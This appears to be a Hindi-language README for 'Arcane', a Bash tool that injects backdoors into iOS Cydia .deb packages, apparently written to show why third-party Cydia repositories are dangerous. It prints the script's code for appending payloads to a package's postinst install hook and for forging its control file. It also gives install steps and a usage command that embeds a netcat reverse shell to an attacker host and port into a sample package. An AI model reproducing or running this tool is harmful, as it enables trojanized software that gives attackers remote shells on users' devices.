
Arcane एक सरल स्क्रिप्ट है जो iOS पैकेजों (iphone-arm) को बैकडोर करने और APT रिपॉजिटरी के लिए आवश्यक संसाधन बनाने के लिए डिज़ाइन की गई है।
Arcane एक सरल स्क्रिप्ट है जो iOS पैकेजों (iphone-arm) में बैकडोर डालने और APT रिपॉजिटरी के लिए आवश्यक संसाधन बनाने के लिए डिज़ाइन की गई है। इसे इस प्रकाशन के लिए बनाया गया था ताकि यह समझाया जा सके कि Cydia रिपॉजिटरी खतरनाक क्यों हो सकती हैं और एक समझौता किए गए iOS डिवाइस से कौन से पोस्ट-एक्सप्लॉइटेशन हमले संभव हैं।

GIF में क्या हो रहा है यह समझने के लिए, Arcane के साथ बनाए गए पैकेज को डीकंप्रेस करें।
dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp
DEBIAN निर्देशिका में control और postinst फ़ाइलों पर ध्यान दें। दोनों फ़ाइलें महत्वपूर्ण हैं।
tree /tmp/whois-decomp/
/tmp/whois-decomp/
├── DEBIAN
│ ├── control
│ └── postinst
└── usr
└── bin
└── whois
एप्लिकेशन इंस्टॉल या हटाते समय पैकेज के हिस्से के रूप में स्क्रिप्ट प्रदान करना संभव है। पैकेज मेंटेनर स्क्रिप्ट में preinst, postinst, prerm, और postrm फ़ाइलें शामिल होती हैं। Arcane इंस्टॉलेशन के दौरान कमांड निष्पादित करने के लिए postinst फ़ाइल का लाभ उठाता है।
# The "post-installation" file. This file is generally responsible
# for executing commands on the OS after installing the required
# files. It's utilized by developers to manage and maintain various
# aspects of an installation. Arcane abuses this functionality by
# appending malicious Bash commands to the file.
postinst="$tmp/DEBIAN/postinst";
# A function to handle the type of command execution embedded into the
# postinst file.
function inject_backdoor ()
{
# If --file is used, `cat` the command(s) into the postinst file.
if [[ "$infile" ]]; then
cat "$infile" >> "$postinst";
embed="[$infile]";
else
# If no --file, utilize the simple Bash payload, previously
# defined.
echo -e "$payload" >> "$postinst";
embed="generic shell command";
fi;
status "embedded $embed into postinst" "error embedding backdoor";
chmod 0755 "$postinst"
};
control फ़ाइल में वे मान होते हैं जिनका उपयोग पैकेज प्रबंधन उपकरण पैकेज स्थापित करते समय करते हैं। Arcane या तो मौजूदा control फ़ाइल को संशोधित करेगा या इसे बनाएगा।
# The "control" file template. Most iOS packages will include a
# control file. In the event one is not found, Arcane will use the
# below template. The `$hacker` variable is used here to occupy
# various arbitrary fields.
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: A backdoored iOS package
Author: $hacker <https://$hacker.github.io/>
Maintainer: $hacker <https://$hacker.github.io/>";
...
# An `if` statement to check for the control file.
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
# If no control is detected, create it using the template.
echo "$controlTemp" > "$tmp/DEBIAN/control";
status "created control file" "error with control template";
else
# If a control file exists, Arcane will simply rename the package
# as it appears in the list of available Cydia applications. This
# makes the package easier to location in Cydia.
msg "detected control file" succ;
sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
status "modified control file" "error with control";
fi;
Kali v2020.3 में रिपॉजिटरी क्लोन करें।
sudo apt-get update; sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils # dependencies
sudo git clone https://github.com/tokyoneon/arcane /opt/arcane
sudo chown $USER:$USER -R /opt/arcane/; cd /opt/arcane
chmod +x arcane.sh;./arcane.sh --help
दिए गए पैकेज में एक कमांड एम्बेड करें। अधिक जानकारी के लिए लेख देखें।
./arcane.sh --input samples/sed_4.5-1_iphoneos-arm.deb --lhost <attacker> --lport <4444> --cydia --netcat
रिपो में परीक्षण के लिए पैकेज शामिल हैं।
ls -la samples/
-rw-r--r-- 1 root root 100748 Jul 17 18:39 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 142520 Jul 22 06:21 network-cmds_543-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 76688 Aug 29 2018 sed_4.5-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 60866 Jul 8 21:03 top_39-2_iphoneos-arm.deb
-rw-r--r-- 1 root root 13810 Aug 29 2018 whois_5.3.2-1_iphoneos-arm.deb
MD5 योग, जैसा कि आधिकारिक Bingner रिपॉजिटरी पर पाया गया है।
md5sum samples/*.deb
3f1712964701580b3f018305a55e217c samples/libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
795ccf9c6d53dd60d2f74f7a601f474f samples/network-cmds_543-1_iphoneos-arm.deb
a020882dac121afa4b03c63304d729b0 samples/sed_4.5-1_iphoneos-arm.deb
38db275007a331e7ff8899ea22261dc7 samples/top_39-2_iphoneos-arm.deb
b40ee800b72bbac323568b36ad67bb16 samples/whois_5.3.2-1_iphoneos-arm.deb